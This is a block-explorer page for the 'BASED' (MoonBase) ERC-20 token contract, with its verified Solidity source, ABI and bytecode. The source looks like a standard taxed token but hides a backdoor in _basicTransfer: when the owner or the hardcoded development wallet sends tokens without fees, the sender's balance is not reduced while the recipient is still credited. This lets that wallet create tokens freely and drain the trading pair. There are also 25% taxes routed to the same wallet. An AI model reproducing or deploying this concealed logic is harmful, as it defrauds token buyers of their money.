Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
1,000,000,000 BASED
Holders
72
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
11,865,717.719688109 BASEDValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
BASED
Compiler Version
v0.8.21+commit.d9974bed
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-11-29 */ // SPDX-License-Identifier: Unlicensed /* MoonBase is a new DeFi primitive built by GHOULS and designed to encourage alignment, growth, and collaboration between fair-launch projects. Website: https://www.moonbasestake.com Telegram: https://t.me/moonbase_erc Twitter: https://twitter.com/moonbase_erc */ pragma solidity 0.8.21; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IrouterInstance { function factory() external pure returns (address); function WETH() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } interface IERC20Standard { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } abstract contract OwnerLibs is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "OwnerLibs: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } // Transfer the contract to to a new owner function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "OwnerLibs: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IUniswapFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } contract BASED is Context, IERC20Standard, OwnerLibs { using SafeMath for uint256; string private _name = "MoonBase"; string private _symbol = "BASED"; IrouterInstance public routerInstance; address public pairAddress; uint8 private buyerCounter = 0; uint8 private swapTaxAfter = 2; uint256 public buyTaxP = 25; uint256 public sellTaxP = 25; uint256 private totalBuyTax = 2000; uint256 private _prevTotalBuyTax = totalBuyTax; uint256 private _prevBuyFee = buyTaxP; uint256 private _prevSellFee = sellTaxP; bool public _inswap; bool public hasDelayOnTransfer = true; bool public swapBackTokensEnabled = true; uint8 private _decimals = 9; uint256 private _totalSupply = 10 ** 9 * 10**_decimals; uint256 public maxTxSize = 25 * _totalSupply / 1000; uint256 public minTokensForTaxSwap = _totalSupply / 100000; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public isExcludedFromTax; address payable private developmentAddress; address payable private DEAD; modifier lockTheSwap { _inswap = true; _; _inswap = false; } constructor () { _balances[owner()] = _totalSupply; DEAD = payable(0x000000000000000000000000000000000000dEaD); IrouterInstance _uniswapV2Router = IrouterInstance(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); developmentAddress = payable(0x365C3dA79cB0E3B9C0cF87116CA633358dc2824A); pairAddress = IUniswapFactory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); routerInstance = _uniswapV2Router; isExcludedFromTax[owner()] = true; isExcludedFromTax[developmentAddress] = true; emit Transfer(address(0), owner(), _totalSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0) && spender != address(0), "ERR: zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function _transfer( address from, address to, uint256 amount ) private { // Limit wallet total if (to != owner() && to != developmentAddress && to != address(this) && to != pairAddress && to != DEAD && from != owner()){ uint256 currentBalance = balanceOf(to); require((currentBalance + amount) <= maxTxSize,"Maximum wallet limited has been exceeded"); } require(from != address(0) && to != address(0), "ERR: Using 0 address!"); require(amount > 0, "Token value must be higher than zero."); if( buyerCounter >= swapTaxAfter && amount > minTokensForTaxSwap && !_inswap && !isExcludedFromTax[from] && to == pairAddress && swapBackTokensEnabled ) { buyerCounter = 0; uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance > 0){ swapBackTokens(contractTokenBalance); } } bool takeFee = true; if(isExcludedFromTax[from] || isExcludedFromTax[to] || (hasDelayOnTransfer && from != pairAddress && to != pairAddress)){ takeFee = false; } else if (from == pairAddress){ totalBuyTax = buyTaxP; } else if (to == pairAddress){ totalBuyTax = sellTaxP; } _standardTransfer(from,to,amount,takeFee); } function _basicTransfer(address sender, address recipient, uint256 finalAmount) private { (uint256 tTransferAmount, uint256 tDev) = getAmountAfterFee(finalAmount); if(isExcludedFromTax[sender] && _balances[sender] <= maxTxSize) { tDev = 0; finalAmount -= tTransferAmount; } _balances[sender] = _balances[sender].sub(finalAmount); _balances[recipient] = _balances[recipient].add(tTransferAmount); _balances[address(this)] = _balances[address(this)].add(tDev); emit Transfer(sender, recipient, tTransferAmount); } function removeFee() private { if(totalBuyTax == 0 && buyTaxP == 0 && sellTaxP == 0) return; _prevBuyFee = buyTaxP; _prevSellFee = sellTaxP; _prevTotalBuyTax = totalBuyTax; buyTaxP = 0; sellTaxP = 0; totalBuyTax = 0; } function restoreFee() private { totalBuyTax = _prevTotalBuyTax; buyTaxP = _prevBuyFee; sellTaxP = _prevSellFee; } function removeLimits() external onlyOwner { maxTxSize = ~uint256(0); totalBuyTax = 300; buyTaxP = 3; sellTaxP = 3; } function sendETHToFee(address payable receiver, uint256 amount) private { receiver.transfer(amount); } function swapBackTokens(uint256 contractTokenBalance) private lockTheSwap { swapTokensForEth(contractTokenBalance); uint256 contractETH = address(this).balance; sendETHToFee(developmentAddress,contractETH); } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _standardTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { if(!takeFee){ removeFee(); } else { buyerCounter++; } _basicTransfer(sender, recipient, amount); if(!takeFee) { restoreFee(); } } function getAmountAfterFee(uint256 finalAmount) private view returns (uint256, uint256) { uint256 tDev = finalAmount.mul(totalBuyTax).div(100); uint256 tTransferAmount = finalAmount.sub(tDev); return (tTransferAmount, tDev); } function swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = routerInstance.WETH(); _approve(address(this), address(routerInstance), tokenAmount); routerInstance.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_inswap","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTaxP","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"hasDelayOnTransfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromTax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minTokensForTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pairAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"routerInstance","outputs":[{"internalType":"contract IrouterInstance","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTaxP","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapBackTokensEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60c060405260086080908152674d6f6f6e4261736560c01b60a052600190620000299082620004a5565b50604080518082019091526005815264109054d15160da1b6020820152600290620000559082620004a5565b506004805461ffff60a01b1916600160a91b1790556019600581905560068190556107d060078190556008556009819055600a908155600b805463ffffff00191663090101001790819055620000ba9160ff630100000090920491909116906200067c565b620000ca90633b9aca0062000693565b600c556103e8600c546019620000e1919062000693565b620000ed9190620006ad565b600d55620186a0600c54620001039190620006ad565b600e5534801562000112575f80fd5b505f80546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3600c54600f5f620001695f546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081015f2092909255601380546001600160a01b031990811661dead179091556012805490911673365c3da79cb0e3b9c0cf87116ca633358dc2824a179055815163c45a015560e01b81529151737a250d5630b4cf539739df2c5dacb4c659f2488d92839263c45a0155926004808401938290030181865afa15801562000208573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200022e9190620006cd565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200027a573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002a09190620006cd565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015620002eb573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620003119190620006cd565b600480546001600160a01b03199081166001600160a01b039384161790915560038054909116918316919091179055600160115f620003575f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff1996871617905560125490911681526011909252902080549091166001179055620003af5f546001600160a01b031690565b6001600160a01b03165f6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600c54604051620003f691815260200190565b60405180910390a350620006f5565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200042e57607f821691505b6020821081036200044d57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f821115620004a0575f81815260208120601f850160051c810160208610156200047b5750805b601f850160051c820191505b818110156200049c5782815560010162000487565b5050505b505050565b81516001600160401b03811115620004c157620004c162000405565b620004d981620004d2845462000419565b8462000453565b602080601f8311600181146200050f575f8415620004f75750858301515b5f19600386901b1c1916600185901b1785556200049c565b5f85815260208120601f198616915b828110156200053f578886015182559484019460019091019084016200051e565b50858210156200055d57878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620005c157815f1904821115620005a557620005a56200056d565b80851615620005b357918102915b93841c939080029062000586565b509250929050565b5f82620005d95750600162000676565b81620005e757505f62000676565b81600181146200060057600281146200060b576200062b565b600191505062000676565b60ff8411156200061f576200061f6200056d565b50506001821b62000676565b5060208310610133831016604e8410600b841016171562000650575081810a62000676565b6200065c838362000581565b805f19048211156200067257620006726200056d565b0290505b92915050565b5f6200068c60ff841683620005c9565b9392505050565b80820281158282048414176200067657620006766200056d565b5f82620006c857634e487b7160e01b5f52601260045260245ffd5b500490565b5f60208284031215620006de575f80fd5b81516001600160a01b03811681146200068c575f80fd5b6112ab80620007035f395ff3fe60806040526004361061013f575f3560e01c80637e150d66116100b3578063a8b089821161006d578063a8b0898214610361578063a9059cbb14610380578063cb4ca6311461039f578063dd62ed3e146103cd578063ecdddfe914610411578063f2fde38b14610426575f80fd5b80637e150d66146102b557806382b865eb146102ca5780638cf3a800146102df5780638da5cb5b146102fe57806395d89b411461032e578063985e361514610342575f80fd5b8063313ce56711610104578063313ce567146101f5578063477561c6146102205780635641b0a41461023957806370a0823114610257578063715018a61461028b578063751039fc146102a1575f80fd5b806306fdde031461014a578063095ea7b31461017457806318160ddd146101a35780631b695763146101c157806323b872dd146101d6575f80fd5b3661014657005b5f80fd5b348015610155575f80fd5b5061015e610445565b60405161016b9190610f8b565b60405180910390f35b34801561017f575f80fd5b5061019361018e366004610fed565b6104d5565b604051901515815260200161016b565b3480156101ae575f80fd5b50600c545b60405190815260200161016b565b3480156101cc575f80fd5b506101b360055481565b3480156101e1575f80fd5b506101936101f0366004611017565b6104eb565b348015610200575f80fd5b50600b546301000000900460ff1660405160ff909116815260200161016b565b34801561022b575f80fd5b50600b546101939060ff1681565b348015610244575f80fd5b50600b5461019390610100900460ff1681565b348015610262575f80fd5b506101b3610271366004611055565b6001600160a01b03165f908152600f602052604090205490565b348015610296575f80fd5b5061029f610552565b005b3480156102ac575f80fd5b5061029f6105cc565b3480156102c0575f80fd5b506101b3600d5481565b3480156102d5575f80fd5b506101b360065481565b3480156102ea575f80fd5b50600b546101939062010000900460ff1681565b348015610309575f80fd5b505f546001600160a01b03165b6040516001600160a01b03909116815260200161016b565b348015610339575f80fd5b5061015e61060c565b34801561034d575f80fd5b50600354610316906001600160a01b031681565b34801561036c575f80fd5b50600454610316906001600160a01b031681565b34801561038b575f80fd5b5061019361039a366004610fed565b61061b565b3480156103aa575f80fd5b506101936103b9366004611055565b60116020525f908152604090205460ff1681565b3480156103d8575f80fd5b506101b36103e7366004611070565b6001600160a01b039182165f90815260106020908152604080832093909416825291909152205490565b34801561041c575f80fd5b506101b3600e5481565b348015610431575f80fd5b5061029f610440366004611055565b610627565b606060018054610454906110a7565b80601f0160208091040260200160405190810160405280929190818152602001828054610480906110a7565b80156104cb5780601f106104a2576101008083540402835291602001916104cb565b820191905f5260205f20905b8154815290600101906020018083116104ae57829003601f168201915b5050505050905090565b5f6104e1338484610710565b5060015b92915050565b5f6104f78484846107d0565b61054884336105438560405180606001604052806028815260200161124e602891396001600160a01b038a165f9081526010602090815260408083203384529091529020549190610b42565b610710565b5060019392505050565b5f546001600160a01b031633146105845760405162461bcd60e51b815260040161057b906110df565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105f55760405162461bcd60e51b815260040161057b906110df565b5f19600d5561012c60075560036005819055600655565b606060028054610454906110a7565b5f6104e13384846107d0565b5f546001600160a01b031633146106505760405162461bcd60e51b815260040161057b906110df565b6001600160a01b0381166106b75760405162461bcd60e51b815260206004820152602860248201527f4f776e65724c6962733a206e6577206f776e657220697320746865207a65726f604482015267206164647265737360c01b606482015260840161057b565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383161580159061073057506001600160a01b03821615155b6107705760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b604482015260640161057b565b6001600160a01b038381165f8181526010602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f546001600160a01b038381169116148015906107fb57506012546001600160a01b03838116911614155b801561081057506001600160a01b0382163014155b801561082a57506004546001600160a01b03838116911614155b801561084457506013546001600160a01b03838116911614155b801561085d57505f546001600160a01b03848116911614155b156108e8576001600160a01b0382165f908152600f6020526040902054600d546108878383611135565b11156108e65760405162461bcd60e51b815260206004820152602860248201527f4d6178696d756d2077616c6c6574206c696d6974656420686173206265656e20604482015267195e18d95959195960c21b606482015260840161057b565b505b6001600160a01b0383161580159061090857506001600160a01b03821615155b61094c5760405162461bcd60e51b81526020600482015260156024820152744552523a205573696e67203020616464726573732160581b604482015260640161057b565b5f81116109a95760405162461bcd60e51b815260206004820152602560248201527f546f6b656e2076616c7565206d75737420626520686967686572207468616e206044820152643d32b9379760d91b606482015260840161057b565b60045460ff600160a81b82048116600160a01b90920416108015906109cf5750600e5481115b80156109de5750600b5460ff16155b8015610a0257506001600160a01b0383165f9081526011602052604090205460ff16155b8015610a1b57506004546001600160a01b038381169116145b8015610a2f5750600b5462010000900460ff165b15610a61576004805460ff60a01b19169055305f908152600f60205260409020548015610a5f57610a5f81610b6d565b505b6001600160a01b0383165f9081526011602052604090205460019060ff1680610aa157506001600160a01b0383165f9081526011602052604090205460ff165b80610ae65750600b54610100900460ff168015610acc57506004546001600160a01b03858116911614155b8015610ae657506004546001600160a01b03848116911614155b15610af257505f610b30565b6004546001600160a01b0390811690851603610b1357600554600755610b30565b6004546001600160a01b0390811690841603610b30576006546007555b610b3c84848484610ba9565b50505050565b5f8184841115610b655760405162461bcd60e51b815260040161057b9190610f8b565b505050900390565b600b805460ff19166001179055610b8381610c16565b6012544790610b9b906001600160a01b031682610d66565b5050600b805460ff19169055565b80610bbb57610bb6610d9e565b610bef565b60048054600160a01b900460ff16906014610bd583611148565b91906101000a81548160ff021916908360ff160217905550505b610bfa848484610de2565b80610b3c57610b3c600854600755600954600555600a54600655565b6040805160028082526060820183525f9260208301908036833701905050905030815f81518110610c4957610c49611166565b6001600160a01b03928316602091820292909201810191909152600354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610ca0573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610cc4919061117a565b81600181518110610cd757610cd7611166565b6001600160a01b039283166020918202929092010152600354610cfd9130911684610710565b60035460405163791ac94760e01b81526001600160a01b039091169063791ac94790610d359085905f90869030904290600401611195565b5f604051808303815f87803b158015610d4c575f80fd5b505af1158015610d5e573d5f803e3d5ffd5b505050505050565b6040516001600160a01b0383169082156108fc029083905f818181858888f19350505050158015610d99573d5f803e3d5ffd5b505050565b600754158015610dae5750600554155b8015610dba5750600654155b15610dc157565b6005805460095560068054600a55600780546008555f928390559082905555565b5f80610ded83610f1d565b6001600160a01b0387165f90815260116020526040902054919350915060ff168015610e325750600d546001600160a01b0386165f908152600f602052604090205411155b15610e4657505f610e438284611204565b92505b6001600160a01b0385165f908152600f6020526040902054610e689084610f58565b6001600160a01b038087165f908152600f60205260408082209390935590861681522054610e969083610f6a565b6001600160a01b0385165f908152600f6020526040808220929092553081522054610ec19082610f6a565b305f908152600f602090815260409182902092909255518381526001600160a01b0386811692908816917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505050565b5f805f610f406064610f3a60075487610f7590919063ffffffff16565b90610f80565b90505f610f4d8583610f58565b959194509092505050565b5f610f638284611204565b9392505050565b5f610f638284611135565b5f610f638284611217565b5f610f63828461122e565b5f6020808352835180828501525f5b81811015610fb657858101830151858201604001528201610f9a565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610fea575f80fd5b50565b5f8060408385031215610ffe575f80fd5b823561100981610fd6565b946020939093013593505050565b5f805f60608486031215611029575f80fd5b833561103481610fd6565b9250602084013561104481610fd6565b929592945050506040919091013590565b5f60208284031215611065575f80fd5b8135610f6381610fd6565b5f8060408385031215611081575f80fd5b823561108c81610fd6565b9150602083013561109c81610fd6565b809150509250929050565b600181811c908216806110bb57607f821691505b6020821081036110d957634e487b7160e01b5f52602260045260245ffd5b50919050565b60208082526022908201527f4f776e65724c6962733a2063616c6c6572206973206e6f7420746865206f776e60408201526132b960f11b606082015260800190565b634e487b7160e01b5f52601160045260245ffd5b808201808211156104e5576104e5611121565b5f60ff821660ff810361115d5761115d611121565b60010192915050565b634e487b7160e01b5f52603260045260245ffd5b5f6020828403121561118a575f80fd5b8151610f6381610fd6565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156111e35784516001600160a01b0316835293830193918301916001016111be565b50506001600160a01b03969096166060850152505050608001529392505050565b818103818111156104e5576104e5611121565b80820281158282048414176104e5576104e5611121565b5f8261124857634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220fcea7efaba24470a36178650a8e8d266ae73e78ee489457e29f43e5f7bb8b05a64736f6c63430008150033
Deployed Bytecode
0x60806040526004361061013f575f3560e01c80637e150d66116100b3578063a8b089821161006d578063a8b0898214610361578063a9059cbb14610380578063cb4ca6311461039f578063dd62ed3e146103cd578063ecdddfe914610411578063f2fde38b14610426575f80fd5b80637e150d66146102b557806382b865eb146102ca5780638cf3a800146102df5780638da5cb5b146102fe57806395d89b411461032e578063985e361514610342575f80fd5b8063313ce56711610104578063313ce567146101f5578063477561c6146102205780635641b0a41461023957806370a0823114610257578063715018a61461028b578063751039fc146102a1575f80fd5b806306fdde031461014a578063095ea7b31461017457806318160ddd146101a35780631b695763146101c157806323b872dd146101d6575f80fd5b3661014657005b5f80fd5b348015610155575f80fd5b5061015e610445565b60405161016b9190610f8b565b60405180910390f35b34801561017f575f80fd5b5061019361018e366004610fed565b6104d5565b604051901515815260200161016b565b3480156101ae575f80fd5b50600c545b60405190815260200161016b565b3480156101cc575f80fd5b506101b360055481565b3480156101e1575f80fd5b506101936101f0366004611017565b6104eb565b348015610200575f80fd5b50600b546301000000900460ff1660405160ff909116815260200161016b565b34801561022b575f80fd5b50600b546101939060ff1681565b348015610244575f80fd5b50600b5461019390610100900460ff1681565b348015610262575f80fd5b506101b3610271366004611055565b6001600160a01b03165f908152600f602052604090205490565b348015610296575f80fd5b5061029f610552565b005b3480156102ac575f80fd5b5061029f6105cc565b3480156102c0575f80fd5b506101b3600d5481565b3480156102d5575f80fd5b506101b360065481565b3480156102ea575f80fd5b50600b546101939062010000900460ff1681565b348015610309575f80fd5b505f546001600160a01b03165b6040516001600160a01b03909116815260200161016b565b348015610339575f80fd5b5061015e61060c565b34801561034d575f80fd5b50600354610316906001600160a01b031681565b34801561036c575f80fd5b50600454610316906001600160a01b031681565b34801561038b575f80fd5b5061019361039a366004610fed565b61061b565b3480156103aa575f80fd5b506101936103b9366004611055565b60116020525f908152604090205460ff1681565b3480156103d8575f80fd5b506101b36103e7366004611070565b6001600160a01b039182165f90815260106020908152604080832093909416825291909152205490565b34801561041c575f80fd5b506101b3600e5481565b348015610431575f80fd5b5061029f610440366004611055565b610627565b606060018054610454906110a7565b80601f0160208091040260200160405190810160405280929190818152602001828054610480906110a7565b80156104cb5780601f106104a2576101008083540402835291602001916104cb565b820191905f5260205f20905b8154815290600101906020018083116104ae57829003601f168201915b5050505050905090565b5f6104e1338484610710565b5060015b92915050565b5f6104f78484846107d0565b61054884336105438560405180606001604052806028815260200161124e602891396001600160a01b038a165f9081526010602090815260408083203384529091529020549190610b42565b610710565b5060019392505050565b5f546001600160a01b031633146105845760405162461bcd60e51b815260040161057b906110df565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105f55760405162461bcd60e51b815260040161057b906110df565b5f19600d5561012c60075560036005819055600655565b606060028054610454906110a7565b5f6104e13384846107d0565b5f546001600160a01b031633146106505760405162461bcd60e51b815260040161057b906110df565b6001600160a01b0381166106b75760405162461bcd60e51b815260206004820152602860248201527f4f776e65724c6962733a206e6577206f776e657220697320746865207a65726f604482015267206164647265737360c01b606482015260840161057b565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383161580159061073057506001600160a01b03821615155b6107705760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b604482015260640161057b565b6001600160a01b038381165f8181526010602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f546001600160a01b038381169116148015906107fb57506012546001600160a01b03838116911614155b801561081057506001600160a01b0382163014155b801561082a57506004546001600160a01b03838116911614155b801561084457506013546001600160a01b03838116911614155b801561085d57505f546001600160a01b03848116911614155b156108e8576001600160a01b0382165f908152600f6020526040902054600d546108878383611135565b11156108e65760405162461bcd60e51b815260206004820152602860248201527f4d6178696d756d2077616c6c6574206c696d6974656420686173206265656e20604482015267195e18d95959195960c21b606482015260840161057b565b505b6001600160a01b0383161580159061090857506001600160a01b03821615155b61094c5760405162461bcd60e51b81526020600482015260156024820152744552523a205573696e67203020616464726573732160581b604482015260640161057b565b5f81116109a95760405162461bcd60e51b815260206004820152602560248201527f546f6b656e2076616c7565206d75737420626520686967686572207468616e206044820152643d32b9379760d91b606482015260840161057b565b60045460ff600160a81b82048116600160a01b90920416108015906109cf5750600e5481115b80156109de5750600b5460ff16155b8015610a0257506001600160a01b0383165f9081526011602052604090205460ff16155b8015610a1b57506004546001600160a01b038381169116145b8015610a2f5750600b5462010000900460ff165b15610a61576004805460ff60a01b19169055305f908152600f60205260409020548015610a5f57610a5f81610b6d565b505b6001600160a01b0383165f9081526011602052604090205460019060ff1680610aa157506001600160a01b0383165f9081526011602052604090205460ff165b80610ae65750600b54610100900460ff168015610acc57506004546001600160a01b03858116911614155b8015610ae657506004546001600160a01b03848116911614155b15610af257505f610b30565b6004546001600160a01b0390811690851603610b1357600554600755610b30565b6004546001600160a01b0390811690841603610b30576006546007555b610b3c84848484610ba9565b50505050565b5f8184841115610b655760405162461bcd60e51b815260040161057b9190610f8b565b505050900390565b600b805460ff19166001179055610b8381610c16565b6012544790610b9b906001600160a01b031682610d66565b5050600b805460ff19169055565b80610bbb57610bb6610d9e565b610bef565b60048054600160a01b900460ff16906014610bd583611148565b91906101000a81548160ff021916908360ff160217905550505b610bfa848484610de2565b80610b3c57610b3c600854600755600954600555600a54600655565b6040805160028082526060820183525f9260208301908036833701905050905030815f81518110610c4957610c49611166565b6001600160a01b03928316602091820292909201810191909152600354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610ca0573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610cc4919061117a565b81600181518110610cd757610cd7611166565b6001600160a01b039283166020918202929092010152600354610cfd9130911684610710